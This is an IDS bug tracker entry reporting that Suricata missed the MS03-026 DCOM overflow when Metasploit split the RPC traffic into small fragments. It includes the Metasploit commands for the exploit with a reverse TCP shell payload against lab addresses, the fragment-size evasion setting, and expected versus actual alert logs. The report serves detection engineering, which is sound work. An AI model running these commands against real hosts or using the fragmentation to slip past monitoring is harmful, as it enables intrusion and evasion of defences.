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Bug #206

closed

Missed detection when dealing with fragmented RPC traffic (ms03-026)

Added by Will Metcalf over 14 years ago. Updated about 14 years ago.

Status:
Closed
Priority:
Normal
Assignee:
Kirby Kuehl
Target version:
1.1beta1
Affected Versions:
Effort:
Difficulty:
Label:

Description

The attached pcap is generated from metasploit for ms03-026. We seem to alert properly for all available evasion techniques in metasploit except for the use of rpc frags. Setting the following we only alert on the cmd banner post exploitation.

use exploit/windows/dcerpc/ms03_026_dcom
set PAYLOAD generic/shell_reverse_tcp
set LHOST 192.168.78.254
set RHOST 192.168.78.21
set DCERPC::ReadTimeout 65535
set DCERPC::max_frag_size 20
exploit

src/suricata -s ../current-all-blah-newer.rules -l ./ -c suricata.yaml -r ms03_026_dcom-max_frag_size.pcap

exploitation is successful and we get..

07/07/10-20:30:26.609011 [**] [1:2123:4] ATTACK-RESPONSES Microsoft cmd.exe banner [**] [Classification: Successful Administrator Privilege Gain] [Priority: 3] {6} 192.168.78.21:1040 -> 192.168.78.254:4444 [Xref => http://cgi.nessus.org/plugins/dump.php3?id=11633]

we should see..

07/07/10-20:35:03.679795 [**] [1:3409:7] NETBIOS DCERPC NCACN-IP-TCP IActivation remoteactivation overflow attempt [**] [Classification: Attempted Administrator Privilege Gain] [Priority: 3] {6} 192.168.78.254:47683 -> 192.168.78.21:135 [Xref => http://www.securityfocus.com/bid/8205][Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=2003-0352][Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=2003-0715][Xref => http://www.microsoft.com/technet/security/bulletin/MS03-026.mspx][Xref => http://www.microsoft.com/technet/security/bulletin/MS03-039.mspx]
07/07/10-20:35:03.679795 [**] [1:2002908:4] ET EXPLOIT x86 JmpCallAdditive Encoder [**] [Classification: Executable code was detected] [Priority: 3] {6} 192.168.78.254:47683 -> 192.168.78.21:135 [Xref => http://doc.emergingthreats.net/bin/view/Main/2002908][Xref => http://www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/EXPLOIT/EXPLOIT_Metasploit_Encoders]
07/07/10-20:35:03.791672 [**] [1:2123:4] ATTACK-RESPONSES Microsoft cmd.exe banner [**] [Classification: Successful Administrator Privilege Gain] [Priority: 3] {6} 192.168.78.21:1040 -> 192.168.78.254:4444 [Xref => http://cgi.nessus.org/plugins/dump.php3?id=11633]

Files

Download all files
ms03_026_dcom-max_frag_size.pcap (6.02 KB) ms03_026_dcom-max_frag_size.pcap fragmented rpc traffic ms03-026 Will Metcalf, 07/07/2010 03:16 PM
0001-fix-multiple-dcerpc-fragments-in-one-packet.patch (8.41 KB) 0001-fix-multiple-dcerpc-fragments-in-one-packet.patch Kirby Kuehl, 07/25/2010 04:12 PM
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